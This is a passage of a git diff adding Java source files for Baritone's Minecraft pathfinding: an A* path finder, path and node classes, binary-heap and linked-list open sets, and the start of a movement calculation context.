Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.calc; + +import baritone.Baritone; +import baritone.api.pathing.calc.IPath; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.movement.ActionCosts; +import baritone.api.utils.BetterBlockPos; +import baritone.pathing.calc.openset.BinaryHeapOpenSet; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Moves; +import baritone.utils.pathing.BetterWorldBorder; +import baritone.utils.pathing.Favoring; +import baritone.utils.pathing.MutableMoveResult; + +import java.util.Optional; + +/** + * The actual A* pathfinding + * + * @author leijurv + */ +public final class AStarPathFinder extends AbstractNodeCostSearch { + + private final Favoring favoring; + private final CalculationContext calcContext; + + public AStarPathFinder(int startX, int startY, int startZ, Goal goal, Favoring favoring, CalculationContext context) { + super(startX, startY, startZ, goal, context); + this.favoring = favoring; + this.calcContext = context; + } + + @Override + protected Optional calculate0(long primaryTimeout, long failureTimeout) { + startNode = getNodeAtPosition(startX, startY, startZ, BetterBlockPos.longHash(startX, startY, startZ)); + startNode.cost = 0; + startNode.combinedCost = startNode.estimatedCostToGoal; + BinaryHeapOpenSet openSet = new BinaryHeapOpenSet(); + openSet.insert(startNode); + double[] bestHeuristicSoFar = new double[COEFFICIENTS.length];//keep track of the best node by the metric of (estimatedCostToGoal + cost / COEFFICIENTS[i]) + for (int i = 0; i < bestHeuristicSoFar.length; i++) { + bestHeuristicSoFar[i] = startNode.estimatedCostToGoal; + bestSoFar[i] = startNode; + } + MutableMoveResult res = new MutableMoveResult(); + BetterWorldBorder worldBorder = new BetterWorldBorder(calcContext.world.getWorldBorder()); + long startTime = System.currentTimeMillis(); + boolean slowPath = Baritone.settings().slowPath.value; + if (slowPath) { + logDebug("slowPath is on, path timeout will be " + Baritone.settings().slowPathTimeoutMS.value + "ms instead of " + primaryTimeout + "ms"); + } + long primaryTimeoutTime = startTime + (slowPath ? Baritone.settings().slowPathTimeoutMS.value : primaryTimeout); + long failureTimeoutTime = startTime + (slowPath ? Baritone.settings().slowPathTimeoutMS.value : failureTimeout); + boolean failing = true; + int numNodes = 0; + int numMovementsConsidered = 0; + int numEmptyChunk = 0; + boolean isFavoring = !favoring.isEmpty(); + int timeCheckInterval = 1 << 6; + int pathingMaxChunkBorderFetch = Baritone.settings().pathingMaxChunkBorderFetch.value; // grab all settings beforehand so that changing settings during pathing doesn't cause a crash or unpredictable behavior + double minimumImprovement = Baritone.settings().minimumImprovementRepropagation.value ? MIN_IMPROVEMENT : 0; + Moves[] allMoves = Moves.values(); + while (!openSet.isEmpty() && numEmptyChunk < pathingMaxChunkBorderFetch && !cancelRequested) { + if ((numNodes & (timeCheckInterval - 1)) == 0) { // only call this once every 64 nodes (about half a millisecond) + long now = System.currentTimeMillis(); // since nanoTime is slow on windows (takes many microseconds) + if (now - failureTimeoutTime >= 0 || (!failing && now - primaryTimeoutTime >= 0)) { + break; + } + } + if (slowPath) { + try { + Thread.sleep(Baritone.settings().slowPathTimeDelayMS.value); + } catch (InterruptedException ignored) {} + } + PathNode currentNode = openSet.removeLowest(); + mostRecentConsidered = currentNode; + numNodes++; + if (goal.isInGoal(currentNode.x, currentNode.y, currentNode.z)) { + logDebug("Took " + (System.currentTimeMillis() - startTime) + "ms, " + numMovementsConsidered + " movements considered"); + return Optional.of(new Path(startNode, currentNode, numNodes, goal, calcContext)); + } + for (Moves moves : allMoves) { + int newX = currentNode.x + moves.xOffset; + int newZ = currentNode.z + moves.zOffset; + if ((newX >> 4 != currentNode.x >> 4 || newZ >> 4 != currentNode.z >> 4) && !calcContext.isLoaded(newX, newZ)) { + // only need to check if the destination is a loaded chunk if it's in a different chunk than the start of the movement + if (!moves.dynamicXZ) { // only increment the counter if the movement would have gone out of bounds guaranteed + numEmptyChunk++; + } + continue; + } + if (!moves.dynamicXZ && !worldBorder.entirelyContains(newX, newZ)) { + continue; + } + if (currentNode.y + moves.yOffset > 256 || currentNode.y + moves.yOffset < 0) { + continue; + } + res.reset(); + moves.apply(calcContext, currentNode.x, currentNode.y, currentNode.z, res); + numMovementsConsidered++; + double actionCost = res.cost; + if (actionCost >= ActionCosts.COST_INF) { + continue; + } + if (actionCost <= 0 || Double.isNaN(actionCost)) { + throw new IllegalStateException(moves + " calculated implausible cost " + actionCost); + } + // check destination after verifying it's not COST_INF -- some movements return a static IMPOSSIBLE object with COST_INF and destination being 0,0,0 to avoid allocating a new result for every failed calculation + if (moves.dynamicXZ && !worldBorder.entirelyContains(res.x, res.z)) { // see issue #218 + continue; + } + if (!moves.dynamicXZ && (res.x != newX || res.z != newZ)) { + throw new IllegalStateException(moves + " " + res.x + " " + newX + " " + res.z + " " + newZ); + } + if (!moves.dynamicY && res.y != currentNode.y + moves.yOffset) { + throw new IllegalStateException(moves + " " + res.y + " " + (currentNode.y + moves.yOffset)); + } + long hashCode = BetterBlockPos.longHash(res.x, res.y, res.z); + if (isFavoring) { + // see issue #18 + actionCost *= favoring.calculate(hashCode); + } + PathNode neighbor = getNodeAtPosition(res.x, res.y, res.z, hashCode); + double tentativeCost = currentNode.cost + actionCost; + if (neighbor.cost - tentativeCost > minimumImprovement) { + neighbor.previous = currentNode; + neighbor.cost = tentativeCost; + neighbor.combinedCost = tentativeCost + neighbor.estimatedCostToGoal; + if (neighbor.isOpen()) { + openSet.update(neighbor); + } else { + openSet.insert(neighbor);//dont double count, dont insert into open set if it's already there + } + for (int i = 0; i < COEFFICIENTS.length; i++) { + double heuristic = neighbor.estimatedCostToGoal + neighbor.cost / COEFFICIENTS[i]; + if (bestHeuristicSoFar[i] - heuristic > minimumImprovement) { + bestHeuristicSoFar[i] = heuristic; + bestSoFar[i] = neighbor; + if (failing && getDistFromStartSq(neighbor) > MIN_DIST_PATH * MIN_DIST_PATH) { + failing = false; + } + } + } + } + } + } + if (cancelRequested) { + return Optional.empty(); + } + System.out.println(numMovementsConsidered + " movements considered"); + System.out.println("Open set size: " + openSet.size()); + System.out.println("PathNode map size: " + mapSize()); + System.out.println((int) (numNodes * 1.0 / ((System.currentTimeMillis() - startTime) / 1000F)) + " nodes per second"); + Optional result = bestSoFar(true, numNodes); + if (result.isPresent()) { + logDebug("Took " + (System.currentTimeMillis() - startTime) + "ms, " + numMovementsConsidered + " movements considered"); + } + return result; + } +} diff --git a/src/baritone/pathing/calc/AbstractNodeCostSearch.java b/src/baritone/pathing/calc/AbstractNodeCostSearch.java new file mode 100644 index 00000000..d20b519d --- /dev/null +++ b/src/baritone/pathing/calc/AbstractNodeCostSearch.java @@ -0,0 +1,241 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.calc; + +import baritone.Baritone; +import baritone.api.pathing.calc.IPath; +import baritone.api.pathing.calc.IPathFinder; +import baritone.api.pathing.goals.Goal; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.Helper; +import baritone.api.utils.PathCalculationResult; +import baritone.pathing.movement.CalculationContext; +import it.unimi.dsi.fastutil.longs.Long2ObjectOpenHashMap; + +import java.util.Optional; + +/** + * Any pathfinding algorithm that keeps track of nodes recursively by their cost (e.g. A*, dijkstra) + * + * @author leijurv + */ +public abstract class AbstractNodeCostSearch implements IPathFinder, Helper { + + protected final int startX; + protected final int startY; + protected final int startZ; + + protected final Goal goal; + + private final CalculationContext context; + + /** + * @see Issue #107 + */ + private final Long2ObjectOpenHashMap map; + + protected PathNode startNode; + + protected PathNode mostRecentConsidered; + + protected final PathNode[] bestSoFar = new PathNode[COEFFICIENTS.length]; + + private volatile boolean isFinished; + + protected boolean cancelRequested; + + /** + * This is really complicated and hard to explain. I wrote a comment in the old version of MineBot but it was so + * long it was easier as a Google Doc (because I could insert charts). + * + * @see here + */ + protected static final double[] COEFFICIENTS = {1.5, 2, 2.5, 3, 4, 5, 10}; + + /** + * If a path goes less than 5 blocks and doesn't make it to its goal, it's not worth considering. + */ + protected static final double MIN_DIST_PATH = 5; + + /** + * there are floating point errors caused by random combinations of traverse and diagonal over a flat area + * that means that sometimes there's a cost improvement of like 10 ^ -16 + * it's not worth the time to update the costs, decrease-key the heap, potentially repropagate, etc + *

+ * who cares about a hundredth of a tick? that's half a millisecond for crying out loud! + */ + protected static final double MIN_IMPROVEMENT = 0.01; + + AbstractNodeCostSearch(int startX, int startY, int startZ, Goal goal, CalculationContext context) { + this.startX = startX; + this.startY = startY; + this.startZ = startZ; + this.goal = goal; + this.context = context; + this.map = new Long2ObjectOpenHashMap<>(Baritone.settings().pathingMapDefaultSize.value, Baritone.settings().pathingMapLoadFactor.value); + } + + public void cancel() { + cancelRequested = true; + } + + @Override + public synchronized PathCalculationResult calculate(long primaryTimeout, long failureTimeout) { + if (isFinished) { + throw new IllegalStateException("Path finder cannot be reused!"); + } + cancelRequested = false; + try { + IPath path = calculate0(primaryTimeout, failureTimeout).map(IPath::postProcess).orElse(null); + if (cancelRequested) { + return new PathCalculationResult(PathCalculationResult.Type.CANCELLATION); + } + if (path == null) { + return new PathCalculationResult(PathCalculationResult.Type.FAILURE); + } + int previousLength = path.length(); + path = path.cutoffAtLoadedChunks(context.bsi); + if (path.length() < previousLength) { + Helper.HELPER.logDebug("Cutting off path at edge of loaded chunks"); + Helper.HELPER.logDebug("Length decreased by " + (previousLength - path.length())); + } else { + Helper.HELPER.logDebug("Path ends within loaded chunks"); + } + previousLength = path.length(); + path = path.staticCutoff(goal); + if (path.length() < previousLength) { + Helper.HELPER.logDebug("Static cutoff " + previousLength + " to " + path.length()); + } + if (goal.isInGoal(path.getDest())) { + return new PathCalculationResult(PathCalculationResult.Type.SUCCESS_TO_GOAL, path); + } else { + return new PathCalculationResult(PathCalculationResult.Type.SUCCESS_SEGMENT, path); + } + } catch (Exception e) { + Helper.HELPER.logDirect("Pathing exception: " + e); + e.printStackTrace(); + return new PathCalculationResult(PathCalculationResult.Type.EXCEPTION); + } finally { + // this is run regardless of what exception may or may not be raised by calculate0 + isFinished = true; + } + } + + protected abstract Optional calculate0(long primaryTimeout, long failureTimeout); + + /** + * Determines the distance squared from the specified node to the start + * node. Intended for use in distance comparison, rather than anything that + * considers the real distance value, hence the "sq". + * + * @param n A node + * @return The distance, squared + */ + protected double getDistFromStartSq(PathNode n) { + int xDiff = n.x - startX; + int yDiff = n.y - startY; + int zDiff = n.z - startZ; + return xDiff * xDiff + yDiff * yDiff + zDiff * zDiff; + } + + /** + * Attempts to search the block position hashCode long to {@link PathNode} map + * for the node mapped to the specified pos. If no node is found, + * a new node is created. + * + * @param x The x position of the node + * @param y The y position of the node + * @param z The z position of the node + * @param hashCode The hash code of the node, provided by {@link BetterBlockPos#longHash(int, int, int)} + * @return The associated node + * @see Issue #107 + */ + + protected PathNode getNodeAtPosition(int x, int y, int z, long hashCode) { + PathNode node = map.get(hashCode); + if (node == null) { + node = new PathNode(x, y, z, goal); + map.put(hashCode, node); + } + return node; + } + + @Override + public Optional pathToMostRecentNodeConsidered() { + return Optional.ofNullable(mostRecentConsidered).map(node -> new Path(startNode, node, 0, goal, context)); + } + + @Override + public Optional bestPathSoFar() { + return bestSoFar(false, 0); + } + + protected Optional bestSoFar(boolean logInfo, int numNodes) { + if (startNode == null) { + return Optional.empty(); + } + double bestDist = 0; + for (int i = 0; i < COEFFICIENTS.length; i++) { + if (bestSoFar[i] == null) { + continue; + } + double dist = getDistFromStartSq(bestSoFar[i]); + if (dist > bestDist) { + bestDist = dist; + } + if (dist > MIN_DIST_PATH * MIN_DIST_PATH) { // square the comparison since distFromStartSq is squared + if (logInfo) { + if (COEFFICIENTS[i] >= 3) { + System.out.println("Warning: cost coefficient is greater than three! Probably means that"); + System.out.println("the path I found is pretty terrible (like sneak-bridging for dozens of blocks)"); + System.out.println("But I'm going to do it anyway, because yolo"); + } + System.out.println("Path goes for " + Math.sqrt(dist) + " blocks"); + logDebug("A* cost coefficient " + COEFFICIENTS[i]); + } + return Optional.of(new Path(startNode, bestSoFar[i], numNodes, goal, context)); + } + } + // instead of returning bestSoFar[0], be less misleading + // if it actually won't find any path, don't make them think it will by rendering a dark blue that will never actually happen + if (logInfo) { + logDebug("Even with a cost coefficient of " + COEFFICIENTS[COEFFICIENTS.length - 1] + ", I couldn't get more than " + Math.sqrt(bestDist) + " blocks"); + logDebug("No path found =("); + logNotification("No path found =(", true); + } + return Optional.empty(); + } + + @Override + public final boolean isFinished() { + return isFinished; + } + + @Override + public final Goal getGoal() { + return goal; + } + + public BetterBlockPos getStart() { + return new BetterBlockPos(startX, startY, startZ); + } + + protected int mapSize() { + return map.size(); + } +} diff --git a/src/baritone/pathing/calc/Path.java b/src/baritone/pathing/calc/Path.java new file mode 100644 index 00000000..f7bfbaa2 --- /dev/null +++ b/src/baritone/pathing/calc/Path.java @@ -0,0 +1,180 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.calc; + +import baritone.api.pathing.calc.IPath; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.movement.IMovement; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.Helper; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.Moves; +import baritone.pathing.path.CutoffPath; +import baritone.utils.pathing.PathBase; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; + +/** + * A node based implementation of IPath + * + * @author leijurv + */ +class Path extends PathBase { + + /** + * The start position of this path + */ + private final BetterBlockPos start; + + /** + * The end position of this path + */ + private final BetterBlockPos end; + + /** + * The blocks on the path. Guaranteed that path.get(0) equals start and + * path.get(path.size()-1) equals end + */ + private final List path; + + private final List movements; + + private final List nodes; + + private final Goal goal; + + private final int numNodes; + + private final CalculationContext context; + + private volatile boolean verified; + + Path(PathNode start, PathNode end, int numNodes, Goal goal, CalculationContext context) { + this.start = new BetterBlockPos(start.x, start.y, start.z); + this.end = new BetterBlockPos(end.x, end.y, end.z); + this.numNodes = numNodes; + this.movements = new ArrayList<>(); + this.goal = goal; + this.context = context; + PathNode current = end; + LinkedList tempPath = new LinkedList<>(); + LinkedList tempNodes = new LinkedList<>(); + // Repeatedly inserting to the beginning of an arraylist is O(n^2) + // Instead, do it into a linked list, then convert at the end + while (current != null) { + tempNodes.addFirst(current); + tempPath.addFirst(new BetterBlockPos(current.x, current.y, current.z)); + current = current.previous; + } + // Can't directly convert from the PathNode pseudo linked list to an array because we don't know how long it is + // inserting into a LinkedList keeps track of length, then when we addall (which calls .toArray) it's able + // to performantly do that conversion since it knows the length. + this.path = new ArrayList<>(tempPath); + this.nodes = new ArrayList<>(tempNodes); + } + + @Override + public Goal getGoal() { + return goal; + } + + private boolean assembleMovements() { + if (path.isEmpty() || !movements.isEmpty()) { + throw new IllegalStateException(); + } + for (int i = 0; i < path.size() - 1; i++) { + double cost = nodes.get(i + 1).cost - nodes.get(i).cost; + Movement move = runBackwards(path.get(i), path.get(i + 1), cost); + if (move == null) { + return true; + } else { + movements.add(move); + } + } + return false; + } + + private Movement runBackwards(BetterBlockPos src, BetterBlockPos dest, double cost) { + for (Moves moves : Moves.values()) { + Movement move = moves.apply0(context, src); + if (move.getDest().equals(dest)) { + // have to calculate the cost at calculation time so we can accurately judge whether a cost increase happened between cached calculation and real execution + // however, taking into account possible favoring that could skew the node cost, we really want the stricter limit of the two + // so we take the minimum of the path node cost difference, and the calculated cost + move.override(Math.min(move.calculateCost(context), cost)); + return move; + } + } + // this is no longer called from bestPathSoFar, now it's in postprocessing + Helper.HELPER.logDebug("Movement became impossible during calculation " + src + " " + dest + " " + dest.subtract(src)); + return null; + } + + @Override + public IPath postProcess() { + if (verified) { + throw new IllegalStateException(); + } + verified = true; + boolean failed = assembleMovements(); + movements.forEach(m -> m.checkLoadedChunk(context)); + + if (failed) { // at least one movement became impossible during calculation + CutoffPath res = new CutoffPath(this, movements().size()); + if (res.movements().size() != movements.size()) { + throw new IllegalStateException(); + } + return res; + } + // more post processing here + sanityCheck(); + return this; + } + + @Override + public List movements() { + if (!verified) { + throw new IllegalStateException(); + } + return Collections.unmodifiableList(movements); + } + + @Override + public List positions() { + return Collections.unmodifiableList(path); + } + + @Override + public int getNumNodesConsidered() { + return numNodes; + } + + @Override + public BetterBlockPos getSrc() { + return start; + } + + @Override + public BetterBlockPos getDest() { + return end; + } +} diff --git a/src/baritone/pathing/calc/PathNode.java b/src/baritone/pathing/calc/PathNode.java new file mode 100644 index 00000000..2b693338 --- /dev/null +++ b/src/baritone/pathing/calc/PathNode.java @@ -0,0 +1,107 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.calc; + +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.movement.ActionCosts; +import baritone.api.utils.BetterBlockPos; + +/** + * A node in the path, containing the cost and steps to get to it. + * + * @author leijurv + */ +public final class PathNode { + + /** + * The position of this node + */ + public final int x; + public final int y; + public final int z; + + /** + * Cached, should always be equal to goal.heuristic(pos) + */ + public final double estimatedCostToGoal; + + /** + * Total cost of getting from start to here + * Mutable and changed by PathFinder + */ + public double cost; + + /** + * Should always be equal to estimatedCosttoGoal + cost + * Mutable and changed by PathFinder + */ + public double combinedCost; + + /** + * In the graph search, what previous node contributed to the cost + * Mutable and changed by PathFinder + */ + public PathNode previous; + + /** + * Where is this node in the array flattenization of the binary heap? Needed for decrease-key operations. + */ + public int heapPosition; + + public PathNode(int x, int y, int z, Goal goal) { + this.previous = null; + this.cost = ActionCosts.COST_INF; + this.estimatedCostToGoal = goal.heuristic(x, y, z); + if (Double.isNaN(estimatedCostToGoal)) { + throw new IllegalStateException(goal + " calculated implausible heuristic"); + } + this.heapPosition = -1; + this.x = x; + this.y = y; + this.z = z; + } + + public boolean isOpen() { + return heapPosition != -1; + } + + /** + * TODO: Possibly reimplement hashCode and equals. They are necessary for this class to function but they could be done better + * + * @return The hash code value for this {@link PathNode} + */ + @Override + public int hashCode() { + return (int) BetterBlockPos.longHash(x, y, z); + } + + @Override + public boolean equals(Object obj) { + // GOTTA GO FAST + // ALL THESE CHECKS ARE FOR PEOPLE WHO WANT SLOW CODE + // SKRT SKRT + //if (obj == null || !(obj instanceof PathNode)) { + // return false; + //} + + final PathNode other = (PathNode) obj; + //return Objects.equals(this.pos, other.pos) && Objects.equals(this.goal, other.goal); + + return x == other.x && y == other.y && z == other.z; + } +} diff --git a/src/baritone/pathing/calc/openset/BinaryHeapOpenSet.java b/src/baritone/pathing/calc/openset/BinaryHeapOpenSet.java new file mode 100644 index 00000000..33f077b9 --- /dev/null +++ b/src/baritone/pathing/calc/openset/BinaryHeapOpenSet.java @@ -0,0 +1,133 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.calc.openset; + +import baritone.pathing.calc.PathNode; + +import java.util.Arrays; + +/** + * A binary heap implementation of an open set. This is the one used in the AStarPathFinder. + * + * @author leijurv + */ +public final class BinaryHeapOpenSet implements IOpenSet { + + /** + * The initial capacity of the heap (2^10) + */ + private static final int INITIAL_CAPACITY = 1024; + + /** + * The array backing the heap + */ + private PathNode[] array; + + /** + * The size of the heap + */ + private int size; + + public BinaryHeapOpenSet() { + this(INITIAL_CAPACITY); + } + + public BinaryHeapOpenSet(int size) { + this.size = 0; + this.array = new PathNode[size]; + } + + public int size() { + return size; + } + + @Override + public final void insert(PathNode value) { + if (size >= array.length - 1) { + array = Arrays.copyOf(array, array.length << 1); + } + size++; + value.heapPosition = size; + array[size] = value; + update(value); + } + + @Override + public final void update(PathNode val) { + int index = val.heapPosition; + int parentInd = index >>> 1; + double cost = val.combinedCost; + PathNode parentNode = array[parentInd]; + while (index > 1 && parentNode.combinedCost > cost) { + array[index] = parentNode; + array[parentInd] = val; + val.heapPosition = parentInd; + parentNode.heapPosition = index; + index = parentInd; + parentInd = index >>> 1; + parentNode = array[parentInd]; + } + } + + @Override + public final boolean isEmpty() { + return size == 0; + } + + @Override + public final PathNode removeLowest() { + if (size == 0) { + throw new IllegalStateException(); + } + PathNode result = array[1]; + PathNode val = array[size]; + array[1] = val; + val.heapPosition = 1; + array[size] = null; + size--; + result.heapPosition = -1; + if (size < 2) { + return result; + } + int index = 1; + int smallerChild = 2; + double cost = val.combinedCost; + do { + PathNode smallerChildNode = array[smallerChild]; + double smallerChildCost = smallerChildNode.combinedCost; + if (smallerChild < size) { + PathNode rightChildNode = array[smallerChild + 1]; + double rightChildCost = rightChildNode.combinedCost; + if (smallerChildCost > rightChildCost) { + smallerChild++; + smallerChildCost = rightChildCost; + smallerChildNode = rightChildNode; + } + } + if (cost <= smallerChildCost) { + break; + } + array[index] = smallerChildNode; + array[smallerChild] = val; + val.heapPosition = smallerChild; + smallerChildNode.heapPosition = index; + index = smallerChild; + } while ((smallerChild <<= 1) <= size); + return result; + } +} diff --git a/src/baritone/pathing/calc/openset/IOpenSet.java b/src/baritone/pathing/calc/openset/IOpenSet.java new file mode 100644 index 00000000..4d362139 --- /dev/null +++ b/src/baritone/pathing/calc/openset/IOpenSet.java @@ -0,0 +1,54 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.calc.openset; + +import baritone.pathing.calc.PathNode; + +/** + * An open set for A* or similar graph search algorithm + * + * @author leijurv + */ +public interface IOpenSet { + + /** + * Inserts the specified node into the heap + * + * @param node The node + */ + void insert(PathNode node); + + /** + * @return {@code true} if the heap has no elements; {@code false} otherwise. + */ + boolean isEmpty(); + + /** + * Removes and returns the minimum element in the heap. + * + * @return The minimum element in the heap + */ + PathNode removeLowest(); + + /** + * A faster path has been found to this node, decreasing its cost. Perform a decrease-key operation. + * + * @param node The node + */ + void update(PathNode node); +} diff --git a/src/baritone/pathing/calc/openset/LinkedListOpenSet.java b/src/baritone/pathing/calc/openset/LinkedListOpenSet.java new file mode 100644 index 00000000..2f7a0af5 --- /dev/null +++ b/src/baritone/pathing/calc/openset/LinkedListOpenSet.java @@ -0,0 +1,91 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.calc.openset; + +import baritone.pathing.calc.PathNode; + +/** + * A linked list implementation of an open set. This is the original implementation from MineBot. + * It has incredibly fast insert performance, at the cost of O(n) removeLowest. + * It sucks. BinaryHeapOpenSet results in more than 10x more nodes considered in 4 seconds. + * + * @author leijurv + */ +class LinkedListOpenSet implements IOpenSet { + + private Node first = null; + + @Override + public boolean isEmpty() { + return first == null; + } + + @Override + public void insert(PathNode pathNode) { + Node node = new Node(); + node.val = pathNode; + node.nextOpen = first; + first = node; + } + + @Override + public void update(PathNode node) { + + } + + @Override + public PathNode removeLowest() { + if (first == null) { + return null; + } + Node current = first.nextOpen; + if (current == null) { + Node n = first; + first = null; + return n.val; + } + Node previous = first; + double bestValue = first.val.combinedCost; + Node bestNode = first; + Node beforeBest = null; + while (current != null) { + double comp = current.val.combinedCost; + if (comp < bestValue) { + bestValue = comp; + bestNode = current; + beforeBest = previous; + } + previous = current; + current = current.nextOpen; + } + if (beforeBest == null) { + first = first.nextOpen; + bestNode.nextOpen = null; + return bestNode.val; + } + beforeBest.nextOpen = bestNode.nextOpen; + bestNode.nextOpen = null; + return bestNode.val; + } + + public static class Node { //wrapper with next + + private Node nextOpen; + private PathNode val; + } +} diff --git a/src/baritone/pathing/movement/CalculationContext.java b/src/baritone/pathing/movement/CalculationContext.java new file mode 100644 index 00000000..0fc3d6f8 --- /dev/null +++ b/src/baritone/pathing/movement/CalculationContext.java @@ -0,0 +1,181 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.pathing.movement.ActionCosts; +import baritone.cache.WorldData; +import baritone.pathing.precompute.PrecomputedData; +import baritone.utils.BlockStateInterface; +import baritone.utils.ToolSet; +import baritone.utils.pathing.BetterWorldBorder; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.enchantment.EnchantmentHelper; +import net.minecraft.enchantment.Enchantments; +import net.minecraft.entity.player.PlayerInventory; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.util.math.BlockPos; +import net.minecraft.world.World; + +import java.util.ArrayList; +import java.util.List; + +import static baritone.api.pathing.movement.ActionCosts.COST_INF; + +/** + * @author Brady + * @since 8/7/2018 + */ +public class CalculationContext { + + private static final ItemStack STACK_BUCKET_WATER = new ItemStack(Items.WATER_BUCKET); + + public final boolean safeForThreadedUse; + public final IBaritone baritone; + public final World world; + public final WorldData worldData; + public final BlockStateInterface bsi; + public final ToolSet toolSet; + public final boolean hasWaterBucket; + public final boolean hasThrowaway; + public final boolean canSprint; + protected final double placeBlockCost; // protected because you should call the function instead + public final boolean allowBreak; + public final List allowBreakAnyway; + public final boolean allowParkour; + public final boolean allowParkourPlace; + public final boolean allowJumpAt256; + public final boolean allowParkourAscend; + public final boolean assumeWalkOnWater; + public final int frostWalker; + public final boolean allowDiagonalDescend; + public final boolean allowDiagonalAscend; + public final boolean allowDownward; + public final int maxFallHeightNoWater; + public final int maxFallHeightBucket; + public final double waterWalkSpeed; + public final double breakBlockAdditionalCost; + public double backtrackCostFavoringCoefficient; + public double jumpPenalty; + public final double walkOnWaterOnePenalty; + public final BetterWorldBorder worldBorder; + + public final PrecomputedData precomputedData; + + public CalculationContext(IBaritone baritone) { + this(baritone, false); + } + + public CalculationContext(IBaritone baritone, boolean forUseOnAnotherThread) { + this.precomputedData = new PrecomputedData(); + this.safeForThreadedUse = forUseOnAnotherThread; + this.baritone = baritone; + ClientPlayerEntity player = baritone.getPlayerContext().player(); + this.world = baritone.getPlayerContext().world(); + this.worldData = (WorldData) baritone.getPlayerContext().worldData(); + this.bsi = new BlockStateInterface(baritone.getPlayerContext(), forUseOnAnotherThread); + this.toolSet = new ToolSet(player); + this.hasThrowaway = Baritone.settings().allowPlace.value && ((Baritone) baritone).getInventoryBehavior().hasGenericThrowaway(); + this.hasWaterBucket = Baritone.settings().allowWaterBucketFall.value && PlayerInventory.isHotbar(player.inventory.getSlotFor(STACK_BUCKET_WATER)) && world.getDimensionKey() != World.THE_NETHER; + this.canSprint = Baritone.settings().allowSprint.value && player.getFoodStats().getFoodLevel() > 6; + this.placeBlockCost = Baritone.settings().blockPlacementPenalty.value; + this.allowBreak = Baritone.settings().allowBreak.value; + this.allowBreakAnyway = new ArrayList<>(Baritone.settings().allowBreakAnyway.value); + this.allowParkour = Baritone.settings().allowParkour.value; + this.allowParkourPlace = 